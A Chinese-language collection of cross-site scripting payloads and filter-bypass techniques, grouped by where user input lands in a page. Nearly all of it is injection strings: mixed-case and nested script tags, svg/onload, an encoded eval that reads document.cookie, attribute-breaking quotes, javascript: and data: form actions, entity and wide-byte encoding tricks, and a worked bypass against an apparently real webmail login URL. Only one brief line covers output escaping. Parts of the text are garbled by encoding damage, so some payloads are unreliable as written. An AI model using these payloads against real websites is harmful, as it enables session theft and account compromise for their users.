XSS常見Payload總結(jié)
XSS漏洞的存在與發(fā)生伴隨兩個(gè)概念: 輸入函數(shù)和輸出函數(shù)。XSS攻擊Payload可以注入位置相當(dāng)靈活,以下是可以構(gòu)造動(dòng)態(tài)內(nèi)容不同位置:
1.HTML中直接顯示"用戶可控"數(shù)據(jù)導(dǎo)致XSS注入
2.HTML標(biāo)簽屬性注入"用戶可控"數(shù)據(jù), 如input body等標(biāo)簽
3.<script></script>注入"用戶可控"數(shù)據(jù)
4.URL注入 "用戶可控"數(shù)據(jù)
5.ajax、Json技術(shù)下注入 "用戶可控"數(shù)據(jù)
6.flash環(huán)境下注入 "用戶可控"數(shù)據(jù)
1. 在HTML中顯示"用戶可控"數(shù)據(jù)導(dǎo)致的XSS注入
1.1 大小寫不敏感
<sCript>alert(1);</scrIpt>
1.2 嵌套繞過<script>
<sCr<scriPt>ipt>alert(1)</scr</scRipt>Ipt>
1.3 svg 注入(HTML5 支持內(nèi)聯(lián) SVG)
<svg/onload=alert(document.domain)>
1.4 執(zhí)行代碼轉(zhuǎn)換成unicode編碼,再通過eval執(zhí)行
<img src=N onerror
="eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41))">
防御方式: HTML中顯示"用戶可控"數(shù)據(jù)導(dǎo)致的XSS注入, 輸出的數(shù)據(jù)都需要進(jìn)行Html Escape把能夠觸發(fā)XSS攻擊的特殊字符進(jìn)行轉(zhuǎn)義,ESAPI提供Html實(shí)體編碼的Java API可以對(duì)該種類型的不可信的數(shù)據(jù)進(jìn)行轉(zhuǎn)義 ESAPI.encoder().encodeForHTML(input)

2. HTML標(biāo)簽屬性注入"用戶可控"數(shù)據(jù), 如input body等標(biāo)簽
很多時(shí)候輸出發(fā)生在HTML屬性, 例如<input value="輸出"> 、 <img onload="...[輸出]..."> ,再比如 <body style="...[輸出]...">等
2.1 自行閉合雙引號(hào)構(gòu)造閉合標(biāo)簽:
" onclick="alert(1)
"><img src='a' onerror=alert(document.domain)>
"><svg/onload=alert(document.domain)>
<a href=abcd.jsp?ttt=1000 onmouseover=alert(123) y=2016>2</a>
<a href="" onclick=eval(alert('xss'))>aaa</a>
<a href="" onclick="alert(1)">aaa</a>
構(gòu)造on事件: " onmouseover=alert(document.domain)>
增加注釋符//: " onmouseover=alert(document.domain)> //
利用html5 autofocus功能進(jìn)行XSS:
aaaaa" name="javasCript:alert()" autofocus onfocus="location=this.name" aaa">
很多時(shí)候遇到的場(chǎng)景并不會(huì)這么簡(jiǎn)單, 程序員會(huì)將雙引號(hào) " 過濾為 " 例如
<input type="text" value="燒餅&quo t;onclick=&quo t;alert(1)" />
Form標(biāo)簽閉合引號(hào):
<form method=Post action=abcd.jsp?ttt=1000 onmouseover=prompt(962613) y=&enddate=2016 > #action后面直接空格
<input type='text' name='page' value=0>
<input name='submit' type='submit' value='GO' class="input2">
</form>
<form method=Post action=javascript:alert('xss') >
<input type='text' name='page' value=0>
<input name='submit' type='submit' value='GO' class="input2">
</form>
<form method=Post action=1 onmouseover=alert(123) bbb=111 >
<input type='text' name='page' value=0>
<input name='submit' type='submit' value='GO' class="input2">
</form>
<form method=Post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<input type='text' name='page' value=0>
<input name='submit' type='submit' value='GO' class="input2">
</form>
2.2 兩個(gè)常見的輸出例子
<HTML標(biāo)簽 onXXXX="...[輸出在這里].."> 的例子。
<a href="javascript:[輸出在這里]">xxxx </a> 的例子。
實(shí)際上, onxxxx="[輸出]" 和 href="javascript:[輸出]" 與 <script>[輸出]</script> 沒有太大區(qū)別。因?yàn)閇輸出]所在的地方,都是javascript腳本。
但是<script>[輸出]</script> 如果被過濾,往往沒有太好的辦法。而上面這2種情況,則有一個(gè)很好的辦法繞過過濾。
在HTML屬性中,會(huì)自動(dòng)對(duì)實(shí)體字符進(jìn)行轉(zhuǎn)義,例如<img src="1" onerror="alert(1)"> 和 <img src="1" onerror="alert(1)"> 是等效的
<input type="text" id="pagenum" onkeydown="if ((event.keyCode==13)) location.>
由于單引號(hào)'被過濾,我們可以將'寫為'
location.href='........&key=aaaaaa'
location.href='........&key=aaaaaa'+alert(1)+''
location.href='........&key=aaaaaa'+alert(1)+'‘
接著我們把代碼轉(zhuǎn)換為 url 的編碼。 &-> %26, # -> %23最后
key=%26%23x27;%2balert(1)%2b%26%2aaaaaaa3x27;
缺陷點(diǎn)是發(fā)生在 onkeydown 或 a 標(biāo)簽的 href 屬性中,無法自動(dòng)觸發(fā),因而使得威脅減小,如果是發(fā)生在 img 的 onload 屬性,則非??赡軐?dǎo)致自動(dòng)觸發(fā)
2.3 特殊字符&
許多瀏覽器允許在屬性中使用&{js表達(dá)式}

3. <script></script>中XSS注入
用戶輸入內(nèi)容直接顯示在<script></script>代碼執(zhí)行上下文中,我們可以 首先判斷,是否過濾了* < , > , /* 等特殊符號(hào),如果沒有被過濾可以XSS可能性就很高
3.1 利用</script>閉合前面的<script>或者通過一些特殊的語法

3.2 寬字節(jié)注入繞過輸出
在<script>..</script>之間的情況,很多程序員都是會(huì)進(jìn)行過濾的如果頁面是gbxxxx系列的編碼,那么我們嘗試一下寬字節(jié)呢?
<meta http-equiv="Content-Type" content="text/html; charset=gb18030" />t=%c0%22;alert(1);//aaaaaa
3.3 某些情況下,僅僅需要一個(gè)反斜線,就可以繞過過濾了
http://mail.qq.com/cgi-bin/login?vt=passport&ss=aaa&from=bbb&
經(jīng)過測(cè)試,我們可以看到,雙引號(hào)是用不了, 但是 反斜線還可以使用。
<script>getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin="+"&t="+"&alias="+"®alias="+"&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%252Fcgi-bin%252Fsetting10%253Faction%253Dlist%2526t%253Dsetting10%2526ss%253Dindex%2526Mtype%253D1%2526clickpos%253D20%2526loc%253Ddelegate%252Cwebmap%252C%252C1"+"&title="+"&url=%2Fcgi-bin%2Flogin%3Fvt%3Dpassport%26ss%3Daaa%2522%26from%3Dbbb%5C%26delegate_url%3D%252Fcgi-bin%252Fframe_html%253Furl%253D%2525252Fcgi-bin%2525252Fsetting10%2525253Faction%2525253Dlist%25252526t%2525253Dsetting10%25252526ss%2525253Dindex%25252526Mtype%2525253D1%25252526clickpos%2525253D20%25252526loc%2525253Ddelegate%2525252Cwebmap%2525252C%2525252C1"+"&org_fun="+"&aliastype="+"&ss=aaa"+"&from=bbb"+"¶m="+"&sp=6fa57ce5b3047ebMTM1NTQwOTA2Mg"+"&r=3ec785174fff5206ed6f0cf4a8c5e3c5"+"&ppp="+"&secpp="</script>
location.href="........."+"&ss=aaaa"+"&from=bbb"+"¶m=";//后面省略。